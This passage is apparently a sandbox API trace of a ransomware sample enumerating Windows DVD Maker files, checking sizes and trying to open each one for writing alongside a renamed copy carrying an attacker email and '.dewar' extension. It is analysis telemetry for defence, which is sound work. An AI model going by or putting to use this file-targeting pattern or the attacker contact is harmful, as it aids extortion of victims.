(in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2374) returned 1 [0252.090] CloseHandle (hObject=0x1e0) returned 1 [0252.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png")) returned 0x20 [0252.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png")) returned 0x20 [0252.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.092] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=27581) returned 1 [0252.092] CloseHandle (hObject=0x1e0) returned 1 [0252.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png")) returned 0x20 [0252.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png")) returned 0x20 [0252.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.094] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2899) returned 1 [0252.094] CloseHandle (hObject=0x1e0) returned 1 [0252.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png")) returned 0x20 [0252.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png")) returned 0x20 [0252.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.096] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=10888) returned 1 [0252.097] CloseHandle (hObject=0x1e0) returned 1 [0252.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png")) returned 0x20 [0252.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png")) returned 0x20 [0252.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.102] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=108525) returned 1 [0252.102] CloseHandle (hObject=0x1e0) returned 1 [0252.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png")) returned 0x20 [0252.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png")) returned 0x20 [0252.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.104] SetEvent (hEvent=0x118) returned 1 [0252.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.105] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=20346) returned 1 [0252.105] CloseHandle (hObject=0x1e0) returned 1 [0252.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png")) returned 0x20 [0252.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png")) returned 0x20 [0252.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.108] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=233668) returned 1 [0252.108] CloseHandle (hObject=0x1e0) returned 1 [0252.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png")) returned 0x20 [0252.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png")) returned 0x20 [0252.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.110] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4968) returned 1 [0252.110] CloseHandle (hObject=0x1e0) returned 1 [0252.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png")) returned 0x20 [0252.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png")) returned 0x20 [0252.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.117] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3143) returned 1 [0252.117] CloseHandle (hObject=0x1e0) returned 1 [0252.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png")) returned 0x20 [0252.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png")) returned 0x20 [0252.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.119] SetEvent (hEvent=0x118) returned 1 [0252.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.467] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4842) returned 1 [0252.467] CloseHandle (hObject=0x1e0) returned 1 [0252.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png")) returned 0x20 [0252.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png")) returned 0x20 [0252.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.468] SetEvent (hEvent=0x118) returned 1 [0252.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.471] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3081) returned 1 [0252.471] CloseHandle (hObject=0x1e0) returned 1 [0252.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png")) returned 0x20 [0252.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png")) returned 0x20 [0252.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.472] SetEvent (hEvent=0x118) returned 1 [0252.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.474] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=27789) returned 1 [0252.474] CloseHandle (hObject=0x1e0) returned 1 [0252.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png")) returned 0x20 [0252.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png")) returned 0x20 [0252.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.475] SetEvent (hEvent=0x118) returned 1 [0252.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.324] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3823) returned 1 [0253.324] CloseHandle (hObject=0x1e0) returned 1 [0253.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png")) returned 0x20 [0253.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png")) returned 0x20 [0253.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.326] SetEvent (hEvent=0x118) returned 1 [0253.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.730] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=153) returned 1 [0253.730] CloseHandle (hObject=0x1e0) returned 1 [0253.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png")) returned 0x20 [0253.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png")) returned 0x20 [0253.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.732] SetEvent (hEvent=0x118) returned 1 [0253.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.839] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=789322) returned 1 [0253.839] CloseHandle (hObject=0x1e0) returned 1 [0253.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv")) returned 0x20 [0253.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv")) returned 0x20 [0253.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.841] SetEvent (hEvent=0x118) returned 1 [0253.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.842] GetFileSizeEx (in: hFile=0x1e0, 